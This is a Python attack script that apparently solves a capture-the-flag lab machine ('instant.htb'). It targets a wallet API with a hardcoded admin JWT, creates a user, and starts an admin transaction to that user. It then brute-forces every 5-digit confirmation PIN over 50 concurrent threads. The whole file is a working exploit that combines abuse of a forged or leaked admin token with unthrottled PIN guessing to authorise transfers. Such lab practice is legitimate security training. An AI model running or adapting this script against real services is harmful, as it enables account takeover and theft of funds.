import requests
import threading
from concurrent.futures import ThreadPoolExecutor, as_completed
from threading import Event
from itertools import product
from tqdm import tqdm

base_url = 'http://mywalletv1.instant.htb/api/v1'
admin_token = 'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MSwicm9sZSI6IkFkbWluIiwid2FsSWQiOiJmMGVjYTZlNS03ODNhLTQ3MWQtOWQ4Zi0wMTYyY2JjOTAwZGIiLCJleHAiOjMzMjU5MzAzNjU2fQ.v0qyyAqDSgyoNFHU7MgRQcDA0Bw99_8AEXKGtWZ6rYA'
e = Event()

def check_pin(pin):
    global e
    if e.is_set():
        return
    admin_headers = {
        'Authorization': admin_token
    }
    data = {
        'pin': pin
    }
    try:
        res = requests.post(f'{base_url}/confirm/pin', json=data, headers=admin_headers)
    except:
        print('Failed to connect, pin:', pin)
        return False
    if 'Incorrect Pin' not in res.text:
        print(f'Pin found: {pin}')
        e.set()
        return True
    return False

if __name__ == '__main__':
    # create a new user
    user_data = {
        'username': 'test12',
        'email': 'test12@test.com',
        'password': 'test12',
        'pin': '12345'
    }
    res = requests.post(f'{base_url}/register', json=user_data)
    if res.status_code == 200:
        print('User created successfully')
    elif res.status_code == 202:
        print('User already exists')
    else:
        raise Exception('Failed to create user')
    
    # login as the new user
    login_data = {
        'username': 'test12',
        'password': 'test12'
    }
    res = requests.post(f'{base_url}/login', json=login_data)
    if res.status_code == 201:
        print('Logged in successfully')
        user_token = res.json()['Access-Token']
    else:
        raise Exception('Failed to login')
    
    # Visit the profile page
    cur_user_headers = {
        'Authorization': f'{user_token}'
    }
    res = requests.get(f'{base_url}/view/profile', headers=cur_user_headers)
    if res.status_code == 200:
        print('Profile page visited successfully')
        profile_info = res.json()
        wallet_id = profile_info['Profile']['wallet_id']
    else:
        raise Exception('Failed to visit profile page')
    
    # initiate a transaction as admin
    admin_headers = {
        'Authorization': admin_token
    }
    data = {
        'receiver': wallet_id,
        'amount': 3,
        'note': 'aaaa'
    }
    res = requests.post(f'{base_url}/initiate/transaction', json=data, headers=admin_headers)
    if res.status_code == 201:
        print('Transaction initiated successfully')
    else:
        raise Exception('Failed to initiate transaction')
    
    # brute the pin
    # generate all possible pins of length 5
    pins = [''.join(i) for i in product('0123456789', repeat=5)]
    pool = ThreadPoolExecutor(max_workers=50)
    futures = []
    for x in tqdm(pins):
        futures.append(pool.submit(check_pin, x))
    n = len(futures)
    pbar = tqdm(total=n)
    for future in as_completed(futures):
        pbar.update(1)
        ret = future.result()
        if ret:
            pool.shutdown(wait=False)
            break
    pbar.close()
    
